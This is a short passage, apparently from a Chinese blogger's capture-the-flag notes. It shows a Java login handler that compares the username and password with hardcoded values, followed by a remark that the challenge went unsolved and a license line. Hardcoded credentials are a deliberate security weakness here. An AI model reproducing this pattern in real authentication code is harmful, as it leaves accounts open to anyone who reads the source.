public Object login(@RequestBody User user, HttpServletResponse response) {
if (!user.getUsername().equals("NEEPU") || !user.getPassword().equals("1949")) {
return new Result("500", "Wrong username or password :(");
}
return new Result("200", "Login Success XD");
}
}
无解没wp。。。
本作品采用CC BY-NC-ND 4.0进行许可。转载,请注明原作者 Azeril 及本文源链接。